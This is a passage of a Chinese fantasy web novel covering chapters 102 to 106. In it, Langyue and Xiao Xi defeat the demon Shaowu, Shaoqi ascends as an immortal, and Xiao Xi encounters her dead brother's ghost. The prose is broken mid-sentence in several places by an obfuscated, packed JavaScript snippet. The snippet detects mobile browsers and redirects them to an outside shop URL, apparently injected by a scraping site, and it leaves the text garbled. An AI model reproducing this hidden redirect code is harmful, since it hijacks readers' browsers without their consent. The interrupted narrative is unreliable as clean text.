萧喜自然清楚如今的朗月究竟在想什么,她简洁明了地解释了一番:“那把剑便是我方才讲过的新的封印之剑,至于黑柄剑变成如今这副模样的事情……我知道你肯定很震惊,但原因还是等事情结束之后再告诉你吧。” 朗月强忍情绪,说道:“好。” “引魂针还在吧?看样子,时间要差不多了。” 萧喜又朝朗月看过来,一本正经地说道。 莫名的紧张气氛让两人眼前的黑夜都可怖了些,朗月心里掂量得住萧喜话语的重量,他以相同的态度回过去:“我现在先过去。” 萧喜得到回复后,肯定道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078645|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也行,我之后再过去。” 说罢,她便移开脚步,准备将结界之事收好尾。 可是,这样真的好吗? 朗月还是迟疑了。 “那你……呢?” 在萧喜将要与他擦肩而过的那一刻,朗月忽道,语气略显僵硬。 其实他想说的话并非是出口这般模样,只是话到语边,就因为下意识觉得不自然,很快就把它们吞回了肚子里。 说实话,话出口后,他真的有些后悔。因为这句“那你呢”放在这时候,无疑显得很没脑筋,萧喜接下来要做什么,他怎会不知道? 萧喜也肯定不会认为朗月意识不到这个问题回答起来得有多么简单……如此看来,竟是这般奇怪和别扭。 不过还好,萧喜貌似没有注意得到朗月复杂的心思,甚至理所应当地以为朗月这番可爱的举动是担心她的一种表现。 萧喜有些不好意思,她自顾自的撮了把鼻子,骄傲道:“别担心别担心,没了你我又不是不能活,我之后就过去!” 朗月:“……” 他不得不承认,萧喜这个人在有些时候自我感觉良好得不得了,尽管……他也知道,这仅仅是一种伪装得很好的表象。 这种表象没有必要拆穿,他早已改变看法,已经觉得,这样的萧喜也没有什么不好的。 话说回来,其实他的担心……有些难说,甚至带着虚幻的意味。 引魂针可以唤回因血蠕丧命之人的冤魂,这些朗月曾对萧喜说过,只是萧喜貌似一直都没有将重点放在其中,所以对此毫无怀疑心。 但是,“唤回因血蠕丧命之人的冤魂”这句看起来简单的话语却让朗月感到细思极恐。 因为,他很难确定所谓的“因血蠕丧命之人”到底是哪些人,是仅仅局限于沧淩城的百姓,还是也会有当年庆阳镇的……甚至更多地方……更久远的…… 曾今在庆阳镇的那个夜晚,青灯与他再三强调引魂针的作用时,也有意在将他的注意力放到将自己困于心牢的少女身上——萧喜。 青灯口中的“希望你能帮她解脱”,究竟意味着什么,当时的朗月对此略感朦胧,而今却觉得答案愈来愈清晰了起来。 所以,引魂针真的会唤来死于庆阳镇大劫的亡魂吗?解铃还须系铃人难道就是这个意思吗?让萧喜以这种方式面对过去? 今夜初到苏府的时候,萧喜自告奋勇,要去担起取剑的责任时,她曾执拗地向他索取引魂针和双玉,却被他毅然拒绝。 那个时候,朗月似乎还抱着逃避的心态,害怕萧喜当真引魂后看到庆阳镇的故人后受到伤害,担心自己太过多虑而对于引魂针的作用没有十足的把握……为此,在今夜之前,他都未曾将自己的想法告诉过萧喜。 逃避解决不了问题,或许,只有真正面对过去,才会改变现状。 他绝对无法想象以后的萧喜还是这般惯于伪装自我,叫人心疼…… 所以…… 所以…… 朗月自暴自弃似的叹了一口气,脚步转回。 “算了,这些结界全部交给你还是有些麻烦,我们一起很快就会弄好了。待会儿,你便同我一起过去。” 不管他的猜测是否正确,也不管他对萧喜这件事有多么没有把握,他都愿意陪她去试一把。 “啊?”萧喜面对此时态度三百六十度大翻转的朗月,有些楞住,不一会儿她好像才意识到事情的“严重性”。 “没想到你竟如此放心不下我!”她咧嘴一笑,属实是不要脸。 朗月:“……” 103. 少七仙缘(1) 结界既成。 朗月和萧喜以最快的速度赶回苏府祠堂的院子。 上空激战不断,剑鸣声恍人心绪。 “我来给你善后。”萧喜说道。 朗月肯定了一声,从荷包中抽出一根银针,捏在指间有细若游丝般的质感。 银魂针的气息很快散开,在上空缠斗不断的少五和少七对此极为敏锐,尤其是少五,引魂针是威胁他的存在,如今的他本就没了理智,握在朗月手中的银针便是叫他自乱阵脚的软肋。 少七抓住机会,用力挥出一剑,劈在了少五的腹部,在巨大的推力作用下,少五后身也产生了与之对等的后坐力。 少五为了保身,刹那间便再次散作烟雾,乱入雨阵之中,不见踪迹。 少七抓住机会俯身直冲地面,手中的长剑被他抓在手中,以飞快的速度俯冲下去,划破凝固的空气,与剑气相冲,产生刺耳激震,绵绵不绝。 少七的身影逐渐清晰起来,朗月也已经做好准备。 说起来奇怪,即使如今的少七早已不是曾经的剑灵芍七,但朗月却依旧能在冥冥之中觅到了当年人剑合一时的心有灵犀之感。 少七更是如此。 他下意识地喊出熟悉的称呼,道:“小公子,把针抛给属下!” 后院四周忽起乱风,吹歪了雨水。 黑暗深处似藏着一片密林地带,其间露出一只只猩红的、带着兽性的眼睛。 那妖怪见自己不得逞又暂时抽不开身,居然控制住了苏府内的凡人,他这是抓着朗月和萧喜不敢轻易对这些凡人们动手的软肋! “卑鄙!”萧喜恶狠狠地从牙尖挤出二字。 不过幸好这些人的数量有限,身法也不如之前对付过的白袍人,大抵不会令她太过吃力。 眼看着半空中的烟雾再度要汇聚成人形,少七没有办法落地,只好再度飞回高空,场面一度混乱。 这种情况下,等芍七过来取针是断不可能了。 可是……上空的距离太过遥远,没有任何法器的情况下,徒步上空是近乎不可能的事情。 朗月紧绷了神经,还是打算直接奔着越过疯人群再飞跃到芍七身边的目的行事,他拢着袖子,顶着近乎脱水的风险,毅然决然地挥动水龙之术,水光潋滟,卷起旋风,收拢周围的一切水源,龙形初现,如此浩荡,终而卷上玄空,腾空而去。 一声龙鸣呼啸而上,清蓝色的龙身仅是宽度便可及数十尺,长度更是无法估量。 朗月自知,这是他十七年来使出的最强悍的水龙术,等龙身汇成,他自己也有些不敢置信。 他轻车熟路地骑上龙角,水丝缠发,轻衣飞曳,龙鸣再度穿天,带他飞腾直上,玄空划过一阵惹眼的清亮。 地面上的萧喜被惊天动地的龙吟撕扯到耳鼓膜,她捂住耳朵,而那帮可怜的凡人因失了理智所以无法自御,此时被震慑得满地扭曲,不一会儿就躺地上没了动静。 大抵是灵气太过充裕,又邪不压正的缘故,所以这帮疯人才扛不住吧。不过也不用担心,他们并不会死。 萧喜得了空,刚好扭头看去,清亮的寒光游走在上空,照亮半片黑暗,梦幻的场面得以完美呈现在她的眼前。 雨水不再下落,反而逆行而上,水珠腾空飞起,颗粒分明,通通汇聚成千丝万缕的水流,从四面八方而来,绕着庞大的水龙前行,源源不断。 萧喜失神地仰望那片亮处的高空,眼中暗色被驱散,透亮清晰,似虔诚的信徒坚定地信奉着某种神迹时才有的模样。 雨水被抽走,萧喜发丝上的水滴也被空气一点一点汲取走,波谭不再有声响,反而原本蓄在里头的积水拗不过水龙的号召力,也被无情地剥夺了自由流动的权力。 真像啊…… 六年了,她还是忘不掉庆阳镇大劫之夜遇到的那条沉吟不断的水龙。 冥冥之中,她总觉得它们都带着救赎的力量,所以尽管模样不尽相似,却还是给她一种莫名的熟悉感。 …… 上空,浩荡的水龙裹挟翻山蹈海的潮水,暂时对那团渐渐显性的黑雾造成了不小的冲击,那团雾气被再度击散。 得了间隙后,朗月将引魂针交给了少七。 少七本就是妖,引魂针作为妖族圣物,没人比他更懂得它的用途。他的双手刚碰上引魂针便感受到了隐隐喷薄的力量,小小一只魂针转瞬闪烁起刺眼的银光,窄窄的长芒却能伸展至张开双臂后的长度,少七忍着强光,用另一只手向上抓去。 光芒深处是一根栏杆般粗细而质地滑腻的长棍,其上烧着过高的温度,似刚从烈火中提炼的铁器,灼痛着握紧它的少七的掌心。 不一会儿,他的掌心便被烧裂,粘稠的血液覆上表面,被烧成滚烫的血糊,血色得以逐渐蔓延,将银色的光芒染红,看起来便不如最初那般刺眼了。 “血蠕之灾,残害万千无辜生灵。我以罪孽之血,唤尔亡魂,前来索罪!” 这一声喊出来是如此沉甸,少七觉得自己的喉咙都在发麻滚烫。 引魂针得到呼唤,刹那间红光喷薄,掩盖万物。 狂风大骤,风驰电掣。 哀嚎之声自旷远之外奔腾而来,俨有千军万马之势。亡魂不得安息,它们困于地府深渊,忘不却前世,画地为牢,永世不得超生。 其中善恶交杂,却以无辜者居多,他们往往被图谋不轨之人利用,固化了立场,所谓的人妖对立由此而来,永无止息,愈演愈烈。 可究其到底……立场正反与否,对他们来说,真的重要吗? 人……妖……身于乱世,但求太平,却在莫知莫觉之间,互相挑动着人妖对立的战争,所谓的太平盛世,不过是空中浮云,或许可远观,但绝不可亵玩。 百年来,人妖对立之战成为了血蠕肆虐的导火索,无辜的人们成为了牺牲品,无辜的妖族渐渐走向堕落,被败坏的名声捆缚永身永世……真是可悲。 死于血蠕的人们妖们啊……他们得有多么无辜,心里便有多么恨。 可到底,他们是死于血蠕?是死于妖物?还是死于乱世恶人一手打造的人妖对立的骇人深渊中呢? 所以…… 不能再这么下去了。 乱世如何能再度重演?! 血疾如何能卷土重来?! 该死的不是无辜的百姓,该背负罪责的不是无辜的妖族,该付出代价的是躲在阴暗深沟中争夺力量、贪婪无度的计谋者们…… 红光盖地,千万亡魂人头攒动,乌压压一片瞪着乌漆的瞳,淌着一条条的血泪,张着空而无力的嘴洞,齐齐飘在上空。他们哀怨嚎叫,紧紧盯着那团黑雾,黑雾被千般万般的怨气鼓走,少五的原型被迫坦然露出。 没了遮掩的少五一下子变成了毫无退避余地的罪徒,他骇然,瞪着猩红色的眼,无数血痕歪七扭八地爬在他扭曲的面孔上,宛如一条条啃噬着脸庞的血蠕,他疯魔地嘶吼着:“不……不,不不不不!少七,你怎么敢这么对我!明明是我养了你十年!是我!是我不要命了似的护了你十年!你怎么敢这么对我!啊啊啊啊啊!” 少七眼眶湿润,落下无声的泪。眼前这个怪物,是少五,是他的哥哥,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097344|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经被折磨得不成形状,连疯兽都不如。 其实,他原本以为自己会恨五哥,可到头来,五哥何尝不是受害者,他的苦他的累一点都不比他少。 他其实会反问自己,如果当年没有自己,他的五哥是不是不会变成如今这副妖鬼不如的模样? 他不敢想象,当年的五哥究竟得有多么无助,多么悲哀,他才会在穷途末路之时毅然决然地走上一条不归之路…… 他会想,这两百多年来,五哥孤身一人被囚禁在这暗无天日的封印之中,会不会觉得孤独…… 对不起…… “五……五哥,对不起,对……对不起,对不起.....”少七默默抬剑,可是无论他使出多么大的力气,手依旧颤抖不止。 “五……哥,放过自己吧……该了结了……该……了结了……”语罢,他已是泪流满面。 少七强忍着心痛,闭上了眼,一手握住引魂针号令万千亡魂,一手抓住剑器,朝前方呼啸而去。 在最后一刻,百鬼哭吼,万魂叫嚣,卷挟着跨越了百年的怨念,在少五的身上穿出百般血孔。 那把曾经证明过少七存在意义的剑直直插入了少五的胸腔,少七并未拔出剑,因为他知道,他留在这世间唯一的执念已经散了,这把剑终将走向虚无。 “少七”已成过去,所谓的“存在”也该止步于从前了。 他走向重生,也获得了重生。 他放下了,放下了阿霖,放下了五哥,所以得到了解脱。 所以,他希望五哥也能够早早安息了去,莫要折磨自我,而今的他,也该解脱了。 剑器慢慢消散,于此同时,少七身上渐渐散开金芒,将他温暖包裹。 这具躯体早就该舍弃了…… 少七变回了自我——灵魂的模样。 翩翩少年郎,眼眸安静而纯良,稚嫩的面庞白里透红,仙气飘然,从骨子里溢出。 魂针消散,遍野哀嚎不见踪影,在少七身上散出的金光的普照下,万千亡魂破开罪恶的茧,化作点点星芒,缓缓高升,点缀起暗无天日的玄夜,这么多年来,大恨已报,他们终得尝所愿。 而少五……他身上的怨气也已散尽,猩红色的眸子不再,瞳孔重新变回正常的黑色。无数年罪恶的记忆伴着理智归入他的脑海,他愕然睁眼,看到自己霸占的是七弟的躯体,方知一切皆然非梦。 “五哥……” 有人在唤他。 当少五再度回神,身上已经被金色的暖光照耀,暖洋洋的温度传入心间。 他发现少七正紧紧地拥抱着他,兄弟之间久别重逢的戏码竟是以灵魂拥抱躯体的方式演绎,少五鼻涕泪水抹了一脸,怎么都不敢回应少七的这份温暖。 他不敢触碰弟弟的背脊。 “对不起……五哥错了,对不起……对不起……对不起……” 他一遍又一边地说着。 少七却什么都没说,只是将他抱得越来越紧。 少五的身体逐渐消散,在弥留之际,他强撑着最后一口气说道:“刹摩即将出世,血蠕不会止息!去盛京!去……盛京!” 少七瞳孔顿缩,等他反应过来的时候,臂弯之间空空落落。 少五已经神魂皆散…… 不久后,少七终于意识到了来自于距离身后不远处的、正注视着他的目光。 他默默移步,见朗月还骑在飞腾在天的水龙角上,满脸恍恍惚惚,愣在上头一动不动,眼睛也盯着少七,一动不动,好似丢了魂儿。 “元武掣殿下!”少七吓得脱口而出。 104. 少七仙缘(2) 朗月离少七有段距离,要不是此时大半身都被掩在阴沉沉的云雾中的少七正浑身散着金光,朗月想要仔细看清楚少七的模样都有些困难。方才少七那句对着他喊出的话语,因双方隔着高空的似墙的寒风声和似珠盘落定的雨帘声,最终被朗月听到的内容显得并不分清。 但,朗月还是借着光芒揣摩出来了对方大致的口型。 “元……武……掣……” 尽管能够念出,但他并不敢轻易对此做出断论。 他也不理解,为什么这个字眼会再度和他联系在一起,还是在现在这种颇于不现实的情况下。 元武掣是从小到大就住在他记忆里的一位神仙,是一位在民间颇有威信的战神。而就是这样令朗月常常觉得与自己八竿子打不着的一位神仙,却在无形之中伴随着他的成长。 年少时的满心疑问再度跑到他的脑海里—— 为什么,元武掣会与他这般有缘?为什么自己会与他有如此多的联系? 想到这里,朗月本就恍惚的眼神就更加迷糊了。当然,令他脑子不清爽的缘故其实并不仅仅是这个,强悍的水龙术早已令他的身体透支,要不了多久,他便再无支撑下去的气力了。 他不甘心就此罢休,但因为大脑空空,只好放弃执迷于探索自我的决定。他旋即回神,将视线放到远处那个全身闪着金光的少年郎身上,那个既叫他感到陌生又感到熟悉的少年郎身上。 朗月驾驭水龙,离对方更近了些。 “你刚刚……叫我什么?” 他抬眼,语罢,却又被吓了一跳。 对着眼前的少年郎仔细看着,他的面貌与芍七有着七八分的相像,只不过他的个子不及芍七,脸庞棱角也不如芍七锋利。 估摸着此人年龄也不大,不过十五六岁的年纪。 话说,芍七呢? 方才他被一阵风流隔绝在外,百鬼忽然呼啸而过,将本来身在自己不远处的黑气和芍七一同带到老远以外。黑压压一片混沌里头,芍七的身影被乌黑的云卷起,再也不见。再然后,云气中央闪烁出一道道金芒,撤走乌云,乌云渐渐散去。 慢慢的,那些金芒才展露出它的庐山真面目——一个满身沐浴在仙光之中的少年郎。 而原本的芍七却迟迟不见,所谓的大妖物也忽然消失,百鬼散去,魂针也已经耗尽法术,隐没到了虚无中去。 …… 气氛一度僵持,少年郎目光里的惊骇渐渐转变成不知所措。 因为,少七知道自己对面的少年并非曾经叱咤天宫、斗转风云的元武掣殿下了,如今的殿下被往世镜打入凡尘,变成了一届凡人。 说起来,这里头得算上少七他不少功劳。 天机不可泄露啊! 少七忽然捂嘴,意识到自己说错了话。但是脑中又呼啸起曾经在毗邻山深林中坑害殿下的画面,他的背后不禁冒出冷汗,一时间大脑混乱,竟然又说出一套荒唐的言论。 “不不不,小公子,您这是听错了!听错了!” 这一句话说出来,朗月眉头更是紧缩。 这语气、称呼、作风…… 说这不是芍七,他都不肯信了。 “你……是芍七?”朗月顶着身体极限的压力,也要将此话问出去。 少七心口提了一口气,但又想想话已经出口,再怎么做都于事无补,他便又将那口气放下。 说起来倒是觉得有趣。 两百年前,往世镜中他最后的那句话竟然如此成真—— “殿下,终究是我对不起您,以后,您要杀要剐都随您便!如若这次入尘,我必定跟随殿下永生永世,护殿下永生永世!肝脑涂地,绝无二心!” …… 想当年,话语如此坚定,连他一贯的结巴毛病都没了踪影。 两百年后,他只身续前缘,再化作剑灵,阴差阳错之间,当真应了承诺,寻到了殿下,陪了他十七年…… 只可惜,所谓“永生永世”的承诺还是没能顺利继续下去……他,绝无可能再回到黑柄剑中了,更不提再陪他的殿下,或是小公子…… 一想到“小公子”这个称谓,少七不只是记得过往十七年与他相处的点点滴滴,也记得这十多年来,这个称谓包含了他的诸多感情……是忠诚,或是犯错之后下意识的讨好,或是…… 方才他将此脱口而出,其实也是因为他无法将过去全然忘记。在少七的脑海里,记忆里金身玉体的元武掣殿下的身影不断与清冷自若的小公子朗月重叠,以至于,原本扎根在他心底的对于殿下的畏惧和崇敬之情在隐约之中松动起来。 他眼前的人,对他来说,是殿下,却更是小公子。所以,还有什么好忌讳和畏惧的呢? 少七默默抬眸,眼波百般流转,映着对面之人孤独怅惘的身影。 “是……我是,小公子。”他苦涩一笑,是无奈,也是不舍。 朔风凛冽,高空不胜寒。 朗月的面庞被吹得麻木,心也冷了一片,他怎会感觉不到气氛的凄凉,这是离别的尾声。 “你……怎么变成这样了?”朗月的声线止不住颤抖,十七年来,他很少有这种感觉。心酸,撕扯,又破碎,流成一片散沙……他有些想哭,却还得逼自己忍住。 “属……我,已经不是从前的自己了,”少七语塞。 “不……你还能和我回去,还能……” “回不去了。”少七微微一笑,却掩不住悲伤。 “我……抱歉……我以后再也不会怪罪你,再也不会拿门主威胁你,再也不会……” 朗月还想说下去,却登时觉得,身前之人虽然看起来近在咫尺,却早已遥不可及。 刹那间,一道道金钟之声不断鸣起。 黑夜之中,顶端的深渊里一只硕大的圆环拨云而出,玉色的仙云袅袅升起,无数只仙鹤排开仙云,扶摇之上,鲲鹏自万里之外的北海深处奋起飞跃至此,空灵之声响彻遍野。 所谓的金色“圆环”展露头角,实为片片叠成同崇山峻岭一般的金台宫阙,宫阙之中飞跃着数以万计的仙娥云君。 诗中所言,“霓为衣兮风为马,云之君兮纷纷而来下,虎鼓瑟兮鸾回车,仙之人兮列如麻”,竟与此情形高低不下。 紧接着,一位高高在上的女官闪出仙影,拉起一卷请神仙录,站在高耸的云端,平视仙录,口中念起:“少七,受地府崔判官提携,又入凡尘了却前缘,割舍过往,现仙缘既成,位列仙班。我等奉司法界天司之命,赐尔之号,少翮仙君。” 女官合卷,“哗啦”一声,仙录被她拂袖收去,散作金沙,如梦似幻。 女官立于金云之端,慢慢垂着俾倪万物的眼,凝视住少七,又提道:“少翮仙君,还不速速与我等赶回天宫,听候司法界天司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149412|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发令?” 少七微楞,他完全没有想到天界司法界的办事效率如此之高,请仙的女官来得这般迅速。有些事情,他还没来得及告之朗月呢?!这可怎么好? 少七左右为难,立在原地,无处可去。他偷偷用余光探了一遍自己身旁的朗月,朗月此时也在抬首仰望,眼中倒映着敞亮的天宫仙阙。 少七心中暗暗感叹,不愧是殿下,被往世镜折腾一番后还是没有完全沦为凡人,天宫盛景和仙娥云君都逃不过他的法眼。 女官见少七如此态度,颇为不满,怒气压了压,又提声念道:“少翮仙君!还不速速与我等赶回天宫,听候司法界天司之命?!” 语罢,下面的少七的确被震慑了几分。 但也在此时,女官两侧的排排仙君开始议论纷纷,其中两位仙官胆儿大,直接跑到了女官耳侧,讲道:“女天官儿,您仔细瞧瞧下面儿,还有个骑着水龙的凡人哩!” “你说什么?!” 凡人……怎么可能?! “那凡人,好像还能看到我们。” “而且,众位仙官仙君们都一致觉着,那凡人看起来……颇为眼熟。”两位仙官一唱一和着说道,最后,语气竟然一下比一下弱起来。 女官对此依旧不屑,更不提愿意舍眼去瞧一只微不足道的凡人了。 她将傲慢的头颅抬得更高了些,冷笑了一声,凛声道:“哦?那尔等不妨说说此凡人与谁这般相像?” 两位仙官闻言默默交换了个眼神,看起来颇为顾虑,但也为难,好似接下来要说的话烫嘴似的。 他们碍着女天官儿大人的面子,还是硬着头皮各对着女官大人的两只耳侧,小声道:“是那位将军大人,元武掣殿下哩!” “你说什么?!” 女官被吓了一跳,哪里还顾得上架子,傲慢的头颅一下子就低了下去。 她迫不及待地伸头出去,弯下腰来,恨不得要将整个身体都匍匐下去,也要亲眼看看那凡人的模样。 “像,像,越看越像!”女官失神地说道。 “那您说,那位殿下都消失了两百多年了,这凡人会不会就是……”两位仙官站在女官身侧,小心说道。 女官瞪着眼睛,一眨不眨地盯着岑云之下的朗月,好一会儿才有了动作,她失落地摇了摇头,喃喃讲道:“不是他……我丝毫感觉不到他身上的仙根,半点都没有。若此人当真是元武掣殿下,不会如此,不会如此……” 女官刚刚收话,却在无意之间对上了朗月的双眼。 所隔甚远,双眸里蕴含着的无穷威慑之力,如何能跨越千里到达她的眼前?女官骇然,身子不自觉地歪了歪。 这种眼神,真像啊……还是像那位大人,哪怕此人肉体凡胎,却还是让她情不自禁地视其为那位殿下。 因为,有些东西,它就是刻进骨子里的,没有的人是怎么装都装不出来,而有的人再怎么藏也藏不住…… 她哪敢再在他面前造次? 下面的少七还在犯难,但一直在这儿耗着也不是个办法啊。不得已之下,他只好自请罪责了。 他对着云君仙娥所在的方向,俯身作揖,诚恳说道:“少七辜负天司期望,待众位仙家不敬,少七在此赔罪。但,少七现下还有十分重要之事要了却,不想留下遗憾,还请天官大人通融……少七愿担延误之责,还请天官大人通融。” 105. 生死两望(1) 女官身后数以万计的仙君仙官们又是一阵闹哄,嗡嗡嗡的,都是清一色的“不合规矩”的言论。 “准了。” 就在所有人都以为女官会严词拒绝这般荒谬的请求时,女官却一反往常,抬手准肯。 一时间,背后的喧哗再也不见,无人敢再吭声。 少七也有些意外,他没有想到,天宫传闻中那叫人闻风丧胆的司法界,居然还有这般好说话的时候。 他不敢再耽搁,连忙走近了朗月。 朗月面色苍白,嘴唇泛青。少七随身携着的光芒在黑夜里显得突兀,随着他的凑近,朗月原本泛着死白的面孔被罩上了金灿灿的暖色,竟没有先前那般看起来无力憔悴。 暖意围心,让朗月觉得身体居然奇迹般舒服了很多,也让他因体力不支而导致的萎靡萧索的精神压力减轻了许多。 “这或许是我最后一次再唤您一声小公子了。” 少七敛眸,其中情绪被全然覆盖,叫人无法看明白。 “你……” “在我走之前,还有两件事要交代给您。” 说罢,少七伸手,身上披散的金光渐渐朝手心汇聚,最终凝固在一起,化作一道金色的长剑,闪着明亮却并不刺眼的光芒,剑身锃亮,剑的边缘上雕着纹样复杂的剑纹,似一只展翅高飞的翮鸟,飞过平沙万里、长空沃野…… “苏府祠堂的封印余怨残留过多,少五既灭,那么这个封印便不该继续留下去了,当以金剑斩之。待封印完全破除,苏府和沧淩城身患血蠕之人自会得救。但我还是希望,这些事情能够交给萧喜去做,我很感谢她给予我的得到救赎的机会,也对之前自己对她多有冲撞的事感到抱歉。并且,有些事情,还需她自己去了结。解铃还须系铃人,我想,现在还有人在等她。” 少七将金剑交付到朗月的手中,朗月双手托之,不敢松懈半分。 “还有一事,是少五拜托我向你们转达的。” “那个怪物……”朗月愣了愣。 少七淡淡一笑,并不排斥朗月对五哥的称呼。 “血蠕不会止息,刹摩即将出世,就在盛京。” “我想,这次少五封印松动之事也另有蹊跷,恐有歹人在后暗下筹谋。”少七又道。 信息量巨大,让朗月受之不及,他还没来得及问出疑惑,少七的身影便渐渐有要消散的趋势。 “不……不……不要走!” 朗月驾龙朝前飞跃,但少七却自行向后不断退步。 他恭敬弯曲下身子,以最大的幅度和最重的礼节向朗月作揖,细声细语道:“殿下,少七这便先行一步去了。” 少七最后一句话,还是将称呼改作了殿下。因为他知道,要不了多久,他们便会在天界以另一种方式再见。 少七的人影消散地一干二净,而上空仙云之间,忽然呼啸起一阵锐耳的鸟鸣声——一只浑身长满金羽的翮鸟在叠叠祥云之间不断穿梭,朝天宫的玉宇琼楼飞跃而去。 原来,少七的前身是一只翮鸟妖。 高耸云端再度响起金钟之声,只是不同于最初的模样,这一次的钟声听起来震耳欲聋,带着无穷的震慑之力,喝退所有不相干的人和事物,包括朗月。朗月的手中的金剑开始不受他的控制,垂直向下着,死死拽着他的手臂不放。 朗月不得已被拉转了方向,乘驾着水龙向下穿云降落。只是,水龙之术的威力实在有限,在不断下落的时候,它悲哀地吟着,身体渐渐瓦解,将雨水重新还给了上天。 雨水再次落起,离地面越近,波谭乱雨的声响就越来越清晰,乃至能够触手可及。 …… 独孤一人留在地面的萧喜,正呆在苏府阵阵发抖。 因为,引魂针方才引来的那一大波模样崎岖可怖的尸魂怨海不仅仅只是在天际飞跃,还有无数冤魂居然是从地底下冒出头来再缓缓飞升上去应了召唤的。 不久前,萧喜脚底下就冒出了一只浑身都是溃烂的肉的青牙厉鬼。再接着,无论她逃到哪里去,脚底下都会接二连三地冒出一只乃至无数只的冤魂厉鬼。 这些都是死于血蠕的可怜鬼们。 那一番骇人画面,给萧喜的内心留下了不可磨灭的黑暗一笔。 时间不变,她却觉得已经独自过了几百年……上万年……甚至在不断延长,到亘古,到毁灭,也不会止息。 她真的很怕鬼,那是六年前就给她留下的心理阴影,是永不淡却的。 “阿……喜……” 一个少年的声音不知从哪里穿来,落在了萧喜的耳窝里,像刺针一样,扎地她耳朵生痛。她哆嗦一下,站起身来,慌忙地看向四周,一副疑神疑鬼的模样。 “哥哥……” 是哥哥的声音,萧喜绝对不可能忘记。 “是萧吉……” 萧喜有些控制不住自己的情绪,既恐惧又愧疚又期待的感情在同一时间混杂起来,压垮了她的精神底线。 她四处张望着,转地快要头昏脑胀,才在黑暗深处看到半个少年人的模样,少年的身影近乎透明,隐秘在暗处,极难被发现。 难道……引魂针所引的因血蠕而死之人里,还包括了庆阳镇的百姓们?这里面,有她的哥哥。 雨声再度响起,水流哗啦啦地扑入波谭,是报复性似的模样,闹出的动静比先前要大数倍。 雨声是萧喜给自己求来的惩罚,没到此时,关于六年前的回忆便会蜂拥而至,变成血蠕,啃噬她的大脑,疼痛往往难忘,所以,萧喜惩罚自己不允许自己忘却当年的半分细枝末节。庆阳镇每一处角落,每一只人影对她来说,都是疼痛的疤痕,永远祛不掉,起了落,落了起,结痂不断,痛痕越来越深,回忆越来越明晰。 她盯着那道暗暗的身影,身子止不住地颤抖,脑中画面不断,她脚步虚浮,却还在坚持在雨夜里朝眼前的人影行走,有好几次,她都跌进了满是污泥的水坑,弄得满身满脸都是污垢。 她却对此完全没有知觉,口中念念有词,雨水落入口中,腥咸之气吞没唇齿,被咽下,融入血水,滋润心脏。心脏带了腥咸之气,于是她感觉自己全身上下都被这种气息浸泡了,眼里不自觉淌出的液体都是腥咸的。 “哥哥,哥哥,哥哥……你在哪里?哥哥,哥哥,是阿喜不懂事,是阿喜错了,对不起……对不起……对不起,哥哥,你可以不原谅阿喜,但可不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不是承诺过自己,不管猜测是否正确,也不管他对萧喜多没有把握,他都愿意陪她去试一把吗? 所以,现在不是能退缩的时候,更不是能反悔的时候。 他必须让萧喜去面对。 雨声窸窸落落,朗月踩入水坑的啪啦啦之声融入其中,毫不突兀。 等他要唤萧喜的名字的时候,他早已不知不觉走到了萧喜的身边。 “萧喜。”朗月忍着满嘴的干哑和苦涩之感,尽量柔下声线,凑到萧喜的耳边低声道。 耳边的低语,隔绝开杂乱的波谭雨点,朝萧喜的脖梗上扑来深夜寒雨中唯一的温暖。 萧喜的心跳漏了一拍,也忽然安静下来,她无神地转过头来,怔怔地望着朗月。 萧喜挂在双眼下的泪痕硬生生在满脸的泥垢上划开了两道长长的“口子”,露出里面明净的皮肤。 “我叫你哥哥来见你,好不好?” 朗月的语气温暾又小心,似在哄一只又哭又闹的小丫头。 萧喜连忙点着头,面色好了许多。 “那你先站在此处等我。” 106. 生死两望(2) 那只名为“萧吉”的鬼影似乎极其害怕朗月,此时又听闻朗月与萧喜的对话,便疯了似的朝四处不断张望,试图寻找藏身之地。他当真是害怕,害怕被萧喜看见。 可无论怎么害怕,却还是控制不住自己喊妹妹的名字,因为对于萧吉死后的冤魂来说,萧喜,他的亲妹妹是自己极其难以释怀的执念,由死到生,向来如此,赓续不断。 “阿喜……” 他一边逃跑,一遍又一遍地不舍地喊着这个叫他心心念念的名字。 